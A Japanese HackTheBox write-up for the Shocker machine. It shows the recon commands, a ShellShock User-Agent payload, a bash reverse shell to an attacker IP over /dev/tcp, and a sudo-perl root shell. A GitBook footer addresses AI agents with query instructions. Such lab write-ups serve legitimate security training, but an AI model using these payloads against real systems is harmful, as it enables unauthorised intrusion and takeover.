> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Shocker HackTheBox攻略記事

ShellShock攻撃（User-Agent）、sudoers権限の悪用（Perl）を扱うShocker HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格メモ

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**スキル:**

* ShellShock攻撃（User-Agent）
* Sudoers権限の悪用（Perl）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d93eb3520599c6edf2ddfe190e55c917b23304b9%2F%7B1C430D9A-27F2-456F-9DBE-AC430ABF1E3D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82170b1232d8ee4e4fc1449f440f0dfb2fb0f35%2Fimage%20(918).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9708e3efe276847a86c7a90bfa278f4d0e8fe078%2F%7BB6D4D233-0C4D-4B4F-96FF-75065F290B7A%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（80.2222）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-614e088e93679a9157b13b6520c28a4119a15e95%2F%7B58613390-EFD2-490E-B144-64A5B595CD40%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffd003fbecf19adc44c4e1d920c4200c447989b9%2Fimage%20(919).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec4d6fa4ae9a50b62e154bd68f0e289c7782bcd4%2Fimage%20(920).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ディレクトリの列挙

次を使用します **WFuzz** アクセス可能なディレクトリを特定するため：

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8de93b7974f32e974ff290eee66788077ef75704%2Fimage%20(921).png?alt=media" alt=""><figcaption></figcaption></figure>

これにより **cgi-bin** ディレクトリが見つかります。これはしばしば悪用可能なスクリプトに関連しています。

## ShellShockの脆弱性

#### 悪用可能なファイルを検索

以下のような拡張子を持つファイルに絞り込みます： `.sh`, `.pl`や `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

その **user.sh** ファイルが特定されます。このスクリプトは動的で、脆弱である可能性があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d8f20e7e89b7fae5744dd36c57b69b20271c6a%2Fimage%20(922).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 脆弱性の検出

脆弱性をテストするために、次のNmapスクリプトを使用します：

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

スキャンにより、 **user.sh** ファイルにShellShockの脆弱性があることが確認されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2749307e257cec99b3e1c2ba071f283918c167%2Fimage%20(924).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 注文履行

コマンド実行をテストするために、次を使用します： **curl** 悪意のあるUser-Agentを用いて：

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

これにより、現在のユーザー名が返されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fab2f29494a8dbe0daee95b2941e12397defd75d%2Fimage%20(925).png?alt=media" alt=""><figcaption></figcaption></figure>

#### リバースシェル

リバースシェルを取得するには：

1. ポート 443 で待ち受けます:

```bash
nc -nlvp 443
```

2. 次のペイロードを注入します：

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-662750d5165fbb6e1e779b63d9a544a620001642%2Fimage%20(926).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b58fbcf8819a8d6110463895360a39b3119e926%2Fimage%20(927).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

### Sudoers - Perl

分析すると **Sudoers** の権限を確認すると、ユーザーが実行する権限を持っていることがわかります `perl` として **root**。これは次のコマンドで確認できます：

```bash
sudo -l 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43271ce027ea512dc19f2c34f9e97a0cebdb15%2F%7BC9C8788B-FA82-4310-8975-BB72BD892772%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 悪用

この設定を悪用してroot権限のシェルを取得するには、次のコマンドを注入するだけです：

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcd7b8b225cb58b631c67af204ee0d65bd99782a%2Fimage%20(928).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d365b57b0b8970bf5e87a6b6c0dcf64793e8061%2Fimage%20(929).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c8cc57387d1f8b07e6a00359f861578ea78321a%2F%7B432DFD2D-D92E-4AE4-9971-EF602F58FA92%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
